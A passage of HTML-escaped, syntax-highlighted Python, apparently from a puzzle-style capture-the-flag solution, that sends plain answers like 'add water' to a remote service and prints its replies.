&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;add water&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;hide the bowl inside a box&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin 